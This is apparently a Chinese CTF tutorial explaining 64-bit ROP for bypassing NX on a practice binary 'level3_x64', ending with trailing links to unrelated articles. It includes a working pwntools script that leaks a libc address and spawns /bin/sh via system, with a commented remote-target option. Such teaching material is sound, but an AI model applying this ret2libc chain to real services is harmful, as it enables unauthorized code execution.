• 目标程序下载

    提取码:5o0a

  • 环境:Ubuntu linux

  • 工具

    1. pwn-gdb
    2. pwntools python库
    3. ROPgadget

( 这些工具可以到github官网找)

1.检查程序开了哪些安全机制

checksec 检查保护机制
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found 金丝雀
NX: NX enabled 栈不可执行Windows平台上称其为DEP
PIE: No PIE (0x8048000) 内存地址随机化机制,Windows平台上称其为ASLR

2.在ida中静态查看看程序中的漏洞点

可以看到 buf 这个字符串数组只有0x80的大小,但是却可以 read 0x200 个字节

多出来的 0x200-0x80 就会造成溢出

函数调用方式的基本介绍

32位程序默认调用函数的方式为先将参数压入栈中,靠近call指令的是第一个参数

而64位程序默认调用函数的方式则不同

  • RDI 中存放第1个参数
  • RSI 中存放第2个参数
  • RDX 中存放第3个参数
  • RCX 中存放第4个参数
  • R8 中存放第5个参数
  • R9 中存放第6个参数
  • 如果还有更多的参数,再把过多那几个的参数像32位程序一样压入栈中
  • 然后 call

rop 的基本介绍

这里只说一下64位程序的rop,了解完64位的rop,32位的程序稍微做一下函数调用方式上的改变就好了

比如:现在有3个函数 a(&arg1,arg2),b(arg3,arg4),c(arg1),其中b函数有栈溢出漏洞,a函数是个输入函数,c函数是system函数

我们要利用b函数的漏洞,运行c函数,而c函数需要从a函数上得到"/bin/sh"这种参数

该怎么做呢?

首先我们要知道 call 指令与 ret 指令是有两步操作的

call指令:

1. 先把下一句指令的地址压入栈顶 rsp+=8
2. 跳转到call后面跟的地址上去

ret指令:

1. 跳转到rsp所指的地址(之前的call压入的)
2. rsp-=8

如果我们调用函数时不使用call指令呢?

函数结束时,移动栈顶(清栈) jmp [rsp] ,rsp-=8

程序中找 pop rsi,pop rdi,ret 这种相连的指令(不相连也可以,不要再影响rsi,rdi就好),把地址记录下来pop_ret

程序中找 pop rdi,ret 这种相连的指令,把地址记录下来pop_ret2

好,我们把c函数的rbp+8的位置写 pop_ret 的地址

  • rbp+8 pop_ret
  • rbp+16 arg2
  • rbp+24 arg1
  • rbp+32 a函数的地址
  • rbp+40 pop_ret2
  • rbp+48 arg1
  • rbp+56 c函数的地址

当b运行结束后,会返回到 pop_ret 位置

pop rsi rsi=arg2

pop rdi rdi=agr1

jmp a函数

a函数 执行完后 会ret 到pop_ret2

pop rdi rdi=arg1

然后运行c函数


回到我们的目标程序

gdb打开程序

gdb level3_x64 -q
b mian vmmap

查看libc的系统位置

ROPgadget --binary level3_x64 --only 'pop|ret'

找到main函数的地址

from pwn import *
p = process("./level3_x64") #本地调试
#p = remote("x.x.x.x",xxxx) #远程调试remote(ip,port)
libc = ELF("/lib/x86_64-linux-gnu/libc-2.23.so")
elf = ELF("./level3_x64") pop_rdi_ret = 0x4006b3
pop_rsi_r15_ret = 0x4006b1
main_addr = 0x40061A
write_plt = elf.plt["write"]
write_got = elf.got["write"] padding = (0x80 + 8 ) * "a"
#0x80字符串长度要覆盖过去,+8是要覆盖rbp payload1 = padding + p64(pop_rdi_ret) +\
p64(1) + p64(pop_rsi_r15_ret) + p64(write_got) +\
p64(0) + p64(write_plt) + p64(main_addr)
#通过plt表中的write调用 write(1,write_plt,...)
#第三个参数只要当前rdx寄存器中的数大于8就好
#然后返回main函数重新运行,准备重新触发漏洞 p.sendafter("Input:\n",payload1)
addr = u64(p.recv(6).ljust(8,"\x00"))
#通过write_plt找泄露libc中write的地址 libc.address = addr - libc.symbols["write"]
#通过write的地址 找libc基地址 binsh=libc.search("/bin/sh").next()
#通过libc基地址找libc中这个字符串的地址 system=libc.symbols["system"]
#通过libc基地址找libc中systemp函数的地址 payload2 = padding + p64(pop_rdi_ret)+ p64(binsh)+p64(system)
#system("bin/sh") p.send(payload2)
p.interactive()

成功启动了shell

NX 栈不可执行的绕过方式--ROP链的更多相关文章

  1. Linux保护机制和绕过方式

    Linux保护机制和绕过方式 CANNARY(栈保护) ​ 栈溢出保护是一种缓冲区溢出攻击缓解手段,当函数存在缓冲区溢出攻击漏洞时,攻击者可以覆盖栈上的返回地址来让shellcode能够得到执行.用C ...

  2. pie的绕过方式

    目标程序下载 提取码:qk1y 1.检查程序开启了哪些安全保护机制 pie机制简介 PIE(position-independent executable) 是一个针对代码段.text, 数据段.*d ...

  3. 数据库语法整理及WAF绕过方式

    关系型数据库 关系型数据库:指采用了关系模型来组织数据的数据库. 直白的说就是:关系型数据库最典型的数据结构是表,由二维表及其之间的联系所组成的一个数据组织 当今主流的关系型数据库有:Oracle,M ...

  4. Maven打包可执行Jar包方式

    第一步:pom.xm中的build标签下加入maven插件配置,打包生成可执行jar包方式Maven中的打包方式更换为 <packaging>jar</packaging> b ...

  5. C# -- 等待异步操作执行完成的方式

    C# -- 等待异步操作执行完成的方式 1. 等待异步操作的完成,代码实现: class Program { static void Main(string[] args) { Func<int ...

  6. MySQL统计信息以及执行计划预估方式初探

    数据库中的统计信息在不同(精确)程度上描述了表中数据的分布情况,执行计划通过统计信息获取符合查询条件的数据大小(行数),来指导执行计划的生成.在以Oracle和SQLServer为代表的商业数据库,和 ...

  7. Oracle查看SQL执行计划的方式

    Oracle查看SQL执行计划的方式     获取Oracle sql执行计划并查看执行计划,是掌握和判断数据库性能的基本技巧.下面案例介绍了多种查看sql执行计划的方式:   基本有以下几种方式: ...

  8. C# -- 等待异步操作执行完成的方式 C# -- 使用委托 delegate 执行异步操作 JavaScript -- 原型:prototype的使用 DBHelper类连接数据库 MVC View中获取action、controller、area名称、参数

    C# -- 等待异步操作执行完成的方式 C# -- 等待异步操作执行完成的方式 1. 等待异步操作的完成,代码实现: class Program { static void Main(string[] ...

  9. Linux执行shell脚本方式及区别&命令后台运行

    Linux执行shell脚本方式及区别&命令后台运行 http://blog.csdn.net/heqiyu34/article/details/19089951/

随机推荐

  1. 从零起步做到Linux运维经理,你必须管好的23个细节

    不想成为将军的士兵,不是好士兵-拿破仑 如何成为运维经理?成为运维经理需要什么样的能力?我想很多运维工程师都会有这样的思考和问题. 如何成为运维经理.一般来说,运维经理大概有两种出身,一种是从底层最基 ...

  2. 【转】Ubuntu做日常开发电脑的系统是一种怎样的体验

    [原文]https://www.toutiao.com/i6594291159911105031/ Ubuntu 我现在已经基本不开windows了.学习娱乐开发基本都在Ubuntu 首先你要接受的是 ...

  3. .NET Core 使用 EF 出错的解决方法

    在.NET Core 项目钟(类库),使用Entity Framework,建立模型生成数据库时,失败 Could not load assembly 'xxx'. Ensure it is refe ...

  4. WCF 基于 WinForm 宿主 发布

    ServiceHost Host = new ServiceHost(typeof(ServiceHTTP)); //绑定 System.ServiceModel.Channels.Binding h ...

  5. 'javac' 不是内部或外部命令,也不是可运行的程序

    今天在命令行中运行javac命令时发现 但是运行java命令却可以 查找jdk的安装路径发现,安装目录里面同时有jdk的文件夹和jre的文件夹 查看了jdk的目录发现jdk目录中也有一个jre文件夹 ...

  6. 【Alpha Go】Day 1 !

    [Alpha Go]Day 1 ! Part 0 · 简要目录 Part 1 · 任务分配 Part 2 · 他日安排 Part 3 · 预期任务量 Part 4 · 团队贡献值计算原则 Part 1 ...

  7. Promise 模式解析:Promise模式与异步及声明式编程

    一.构建流程 1.(异步)数据源(请求)的构建:Promise的构建并执行请求: 2.处理流程的构建:then将处理函数保存: 二.处理: 1.请求的响应返回: 2.调用后继处理流程. 三. 1.构建 ...

  8. 安装 Autoconf, Automake & Libtool

    今天在使用sudo apt-get install命令安装autoconf和automake时,出现了问题,说是不能sudo apt-get install安装这些软件似乎不是最新的.由此,我通过搜索 ...

  9. Android4.4 ContentResolver查询图片无效 及 图库删除 增加图片后,ContentResolver不更新的问题解决

    问题背景: 参考链接 做了一个图片浏览,用ContentResolver扫描图库照片,且严格按照时间拍摄顺序排好序显示在listview里.如下图所示: 遇到的问题是在4.2的手机上能正常显示,但是新 ...

  10. WorldWind源码剖析系列:日志类Log

    Utility工程中的日志类Log主要用来输出Debug状态下的调试信息.该类的类图如下: 日志类Log中使用到的类和内嵌结构体类型主要有以下这些: public class LogEventArgs ...